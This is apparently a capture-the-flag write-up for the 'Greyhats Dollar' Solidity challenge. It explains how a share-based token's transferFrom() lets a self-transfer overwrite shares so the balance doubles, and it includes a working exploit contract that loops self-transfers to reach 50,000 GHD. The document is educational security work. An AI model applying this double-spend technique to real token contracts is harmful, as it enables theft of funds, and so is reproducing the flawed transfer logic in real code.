βœ…1. Greyhats Dollar

self transfer double spend

Codebase walkthrough

Setup Contract

The Setup.sol contract initializes the challenge environment:

  • Deploys a GREY token (simple ERC20 with minting capabilities)

  • Deploys the GHD contract with GREY as the underlying asset and a 3% annual deflation rate

  • Provides a claim() function to give players 1000 GREY tokens

  • The goal is to accumulate 50,000 GHD tokens to solve the challenge

GHD Token Mechanics

The GHD contract implements a share-based token system with deflation:

  • Users can mint GHD by depositing GREY tokens

  • The token uses an internal shares system where actual token balances are calculated based on shares multiplied by a conversion rate

  • The conversion rate decreases over time to simulate deflation

  • All operations (mint, burn, transfer) use an update modifier that recalculates the conversion rate

Bug description

The vulnerability lies in the transferFrom() function's validation logic. Let's examine the problematic code:

    function transfer(address to, uint256 amount) external update returns (bool) {
        return transferFrom(msg.sender, to, amount);
    }
    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public update returns (bool) {
        if (from != msg.sender) allowance[from][msg.sender] -= amount;

        uint256 _shares = _GHDToShares(amount, conversionRate, false);
        uint256 fromShares = shares[from] - _shares;
        uint256 toShares = shares[to] + _shares;
        
        require(
            _sharesToGHD(fromShares, conversionRate, false) < balanceOf(from),
            "amount too small"
        );
        require(
            _sharesToGHD(toShares, conversionRate, false) > balanceOf(to),
            "amount too small"
        );

        shares[from] = fromShares;
        shares[to] = toShares;

        emit Transfer(from, to, amount);

        return true;
    }

This pattern caught my eye:

        shares[from] = fromShares;
        shares[to] = toShares;

Upon seeing this, I would immediately check the classic β€œtransfer token to yourself” bug:

  • Say from == to == you

  • uint256 fromShares = shares[from] - _shares β†’ uint256 fromShares = shares[you] - _shares

  • uint256 toShares = shares[to] + _shares β†’ uint256 toShares = shares[you] + _shares

  • shares[from] = fromShares β†’ shares[you] = fromShares

  • shares[to] = toShares β†’ shares[you] = toShares

In the last step, you see that shares[you] is being overwritten by a larger number, equivalently it means you get money for free.

Next question is how much money you can get for free by calling transfer() once. It is easy: to make sure that uint256 fromShares = shares[you] - _shares does not revert, you must have shares[you] - _shares >= 0 β‡’ shares[you] >= _shares β‡’ _shares <= shares[you]. Therefore the best choice is to transfer balanceOf(player) in each call to transfer(), and repeat many times. Since balanceOf(player) doubles for each iteration, this attack will finish quickly.

Exploitation Strategy

The attack is straightforward:

  1. Initial Setup: Claim 1000 GREY tokens and mint 1000 GHD tokens

  2. Double Balance: Transfer your entire GHD balance to yourself

  3. Repeat: Your balance approximately doubles with each iteration

  4. Reach Target: Continue until you have β‰₯50,000 GHD

The exponential growth means this happens very quickly:

  • Start: 1,000 GHD

  • After 1 transfer: ~2,000 GHD

  • After 2 transfers: ~4,000 GHD

  • After 3 transfers: ~8,000 GHD

  • After 4 transfers: ~16,000 GHD

  • After 5 transfers: ~32,000 GHD

  • After 6 transfers: ~64,000 GHD βœ“

PoC

Claim 1000e18 grey token from Setup.sol, call transfer() in a for loop or while loop.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup } from "src/greyhats-dollar/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 1000 GREY
        setup.claim();

        // Mint 1000 GHD using 1000 GREY
        setup.grey().approve(address(setup.ghd()), 1000e18);
        setup.ghd().mint(1000e18);

        // Transfer GHD to ourselves until we have 50,000 GHD
        uint256 balance = setup.ghd().balanceOf(address(this));
        while (balance < 50_000e18) {
            setup.ghd().transfer(address(this), balance);
            balance = setup.ghd().balanceOf(address(this));
        }

        // Transfer all GHD to msg.sender
        setup.ghd().transfer(msg.sender, balance);
    }
}

Last updated